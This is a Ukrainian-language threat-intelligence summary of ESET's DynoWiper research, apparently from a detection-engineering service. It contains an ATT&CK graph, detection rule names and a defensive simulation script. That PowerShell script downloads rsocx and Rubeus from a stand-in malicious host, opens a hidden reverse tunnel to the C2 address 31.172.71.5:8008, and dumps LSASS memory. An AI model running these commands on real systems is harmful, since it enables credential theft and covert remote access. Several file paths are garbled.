Оновлення дослідження ESET DynoWiper: Технічний аналіз та атрибуція
Detection stack
- AIDR
- Alert
- ETL
- Query
Короткий огляд
DynoWiper — це деструктивний вайпер, використаний проти організації енергетичного сектору в Польщі, що вплинуло на кілька кінцевих точок в операціях. Виконувані файли були розміщені у спільній мережевій локації та запускалися безпосередньо з цієї локації. ESET приписує цю активність Sandworm з середньою впевненістю. Після виконання, зловмисне програмне забезпечення пошкоджує цільові файли випадковими байтами та ініціює примусовий перезавантаження для завершення впливу.
Розслідування
ESET виявила три зразки — schtask.exe, schtask2.exe і _update.exe, розміщені у C:inetpubpub. Вбудовані шляхи PDB вказують на те, що бінарні файли були скомпільовані у середовищі Vagrant. Зворотне проектування показало трьохетапну рутину витирання, з двома варіантами, що вставляли п’ятисекундну паузу між фазами. Артефакти після компрометації також включали інструмент Kerberos Rubeus і rsocx SOCKS5 проксі всередині мережі жертви.
Зменшення
ESET PROTECT на системах жертви заблокував усі три варіанти, обмежуючи шкоду. Зменште рівень ризику, запобігаючи створенню невиданих запланованих завдань і моніторингу несподіваних записів у спільні каталоги. Додайте список дозволених додатків і забороніть виконання з мережевих ресурсів, де це можливо.
Відповідь
Ідентифікуйте та ізолюйте хости, що запускають schtask.exe, schtask2.exe або *_update.exe з поділу. Збережіть нестійкі докази, перевірте заплановані завдання та сліди розгортання PowerShell, та усуньте інструменти, такі як Rubeus та rsocx. Завершіть повну судово-медичну експертизу і відновлюйте дані із перевірених чистих резервних копій.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[“<b>Дія</b> – <b>T1105 Передавання інструментів проникнення</b><br/><b>Опис</b>: Додаткові інструменти, зокрема Rubeus.exe та rsocx, були завантажені в скомпрометоване середовище.”] class action_ingress technique tool_rubeus[“<b>Інструмент</b> – <b>Назва</b>: Rubeus.exe<br/><b>Опис</b>: Виконує викрадення та зловживання обліковими даними Kerberos.”] class tool_rubeus tool tool_rsocx[“<b>Інструмент</b> – <b>Назва</b>: rsocx<br/><b>Опис</b>: SOCKS5-проксі для ретрансляції трафіку керування та контролю.”] class tool_rsocx tool action_cred_dump[“<b>Дія</b> – <b>T1003.001 Памʼять LSASS</b><br/><b>Опис</b>: Памʼять процесу LSASS була знята через Диспетчер завдань для отримання облікових даних.”] class action_cred_dump technique action_powershell[“<b>Дія</b> – <b>T1059.001 PowerShell</b><br/><b>Опис</b>: Сценарії PowerShell були виконані для розгортання шкідливих бінарних файлів і подальших дій.”] class action_powershell technique action_cmd[“<b>Дія</b> – <b>T1059.003 Командна оболонка Windows</b><br/><b>Опис</b>: cmd.exe використовувався для виконання команд оболонки та оркестрації вайпера.”] class action_cmd technique action_gpo_discovery[“<b>Дія</b> – <b>T1615 Виявлення групових політик</b><br/><b>Опис</b>: Обʼєкти групових політик були ідентифіковані для підготовки масштабного розгортання.”] class action_gpo_discovery technique action_gpo_modify[“<b>Дія</b> – <b>T1484 Модифікація політик домену або орендаря</b><br/><b>Опис</b>: Групові політики були змінені для розповсюдження бінарного файлу DynoWiper по всьому домену.”] class action_gpo_modify technique action_schtask[“<b>Дія</b> – <b>T1053 Заплановане завдання</b><br/><b>Опис</b>: Заплановані завдання були створені за допомогою schtask.exe для забезпечення постійного виконання вайпера.”] class action_schtask technique action_data_removable[“<b>Дія</b> – <b>T1025 Дані зі знімних носіїв</b><br/><b>Опис</b>: Інструменти та вайпер були розміщені у спільному мережевому каталозі C:\\inetpub\\pub\\.”] class action_data_removable technique action_file_discovery[“<b>Дія</b> – <b>T1083 Виявлення файлів і каталогів</b><br/><b>Опис</b>: Файли та каталоги були перелічені на фіксованих і знімних дисках з виключенням системних тек.”] class action_file_discovery technique action_wipe[“<b>Дія</b> – <b>T1561.001 Стирання вмісту диска</b><br/><b>Опис</b>: Вміст файлів було перезаписано випадковими даними, що призвело до видалення або пошкодження даних.”] class action_wipe technique action_reboot[“<b>Дія</b> – <b>T1529 Завершення роботи або перезавантаження системи</b><br/><b>Опис</b>: Після стирання було виконано примусове перезавантаження для завершення знищення.”] class action_reboot technique action_proxy[“<b>Дія</b> – <b>T1090.002 Зовнішній проксі</b><br/><b>Опис</b>: rsocx було налаштовано для використання зовнішнього SOCKS5-проксі 31.172.71.5:8008 з метою приховування трафіку керування та контролю.”] class action_proxy technique malware_dyno[“<b>Шкідливе програмне забезпечення</b> – <b>Назва</b>: DynoWiper<br/><b>Опис</b>: Вайпер, що перезаписує дані та ініціює перезавантаження системи.”] class malware_dyno malware %% Connections action_ingress –>|завантажує| tool_rubeus action_ingress –>|завантажує| tool_rsocx tool_rubeus –>|забезпечує| action_cred_dump tool_rsocx –>|надає| action_proxy action_cred_dump –>|надає облікові дані для| action_powershell action_powershell –>|виконує| action_cmd action_cmd –>|оркеструє| action_wipe action_gpo_discovery –>|призводить до| action_gpo_modify action_gpo_modify –>|розповсюджує| malware_dyno action_schtask –>|створює завдання для| malware_dyno action_data_removable –>|зберігає| tool_rubeus action_data_removable –>|зберігає| tool_rsocx action_data_removable –>|зберігає| malware_dyno malware_dyno –>|виконує| action_file_discovery malware_dyno –>|виконує| action_wipe action_wipe –>|ініціює| action_reboot action_proxy –>|ретранслює трафік для| malware_dyno
Потік атаки
Виявлення
Можливе самоусунення шкідливого ПЗ або приховування Stderr (через командний рядок)
Переглянути
Вимкнення використовується для примусового зупинку або перезавантаження системи (через командний рядок)
Переглянути
IOC (HashSha1) для виявлення: Оновлення дослідження ESET DynoWiper: Технічний аналіз і атрибуція
Переглянути
IOC (SourceIP) для виявлення: Оновлення дослідження ESET DynoWiper: Технічний аналіз і атрибуція
Переглянути
IOC (DestinationIP) для виявлення: Оновлення дослідження ESET DynoWiper: Технічний аналіз і атрибуція
Переглянути
Виявлення розгортання DynoWiper через виконання запланованого завдання [Подія файлу Windows]
Переглянути
Виявлення шкідливих інструментів і дампу пам’яті LSASS [Створення процесу Windows]
Переглянути
Виконання симуляції
Передумова: Телеметрія і перевірка базової лінії повинні були пройти.
Підстави: Цей розділ детально описує точне виконання техніки супротивника (TTP), яка розроблена для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані TTP та мають на меті генерувати саме ту телеметрію, яка очікується логікою виявлення. Абстрактні або нерелевантні приклади призведуть до неправильної діагностики.
-
Розповідь про атаку та команди:
- Встановити зворотний проксі SOCKS5 використовуючи
rsocx.exe. Супротивник завантажує бінарний файл з зовнішнього сервера, розміщує його у%TEMP%, і запускає його з-r 31.172.71.5:8008аргументом для створення зворотного каналу до хоста C2. - Здійснити зловживання квитками Kerberos за допомогою
rubeus.exe. Інструмент виконується для запиту квитка надання квитків (TGT) Kerberos для облікового запису адміністратора домену та згодом фальшування службового квитка (s4u2self). - Вивантаження пам’яті LSASS використовуючи
procdump.exe(загальна альтернатива Диспетчеру завдань) для захоплення матеріалу облікових даних. Sysmon записує подію доступу до процесу, де процес атакувальникаprocdump.exeдоступа доlsass.exeз0x1010дозволеною маскою доступу (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
- Встановити зворотний проксі SOCKS5 використовуючи
-
Сценарій регресійного тестування:
# ------------------------------------------------------------- # Сценарій симуляції – запускає правило Sigma для rsocx, rubeus, # та дамп LSASS. Запустіть з привілеями адміністратора. # ------------------------------------------------------------- # 1. Розгорніть rsocx.exe (зворотний проксі SOCKS5) $rsocxPath = "$env:TEMPrsocx.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden # 2. Розгорніть rubeus.exe (зловживання Kerberos) $rubeusPath = "$env:TEMPrubeus.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden # 3. Вивантажте LSASS використовуючи procdump (вимагає Sysinternals) $procdumpPath = "$env:TEMPprocdump.exe" Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip" Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait } Write-Host "Симуляція завершена. Перевірте SIEM на наявність оповіщень." -
Команди очищення:
# Завершення всіх залишкових шкідливих процесів Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # Видалення бінарних файлів та файлів дампу Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # Необов'язково видалити тимчасові каталоги завантаження Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Очищення завершено."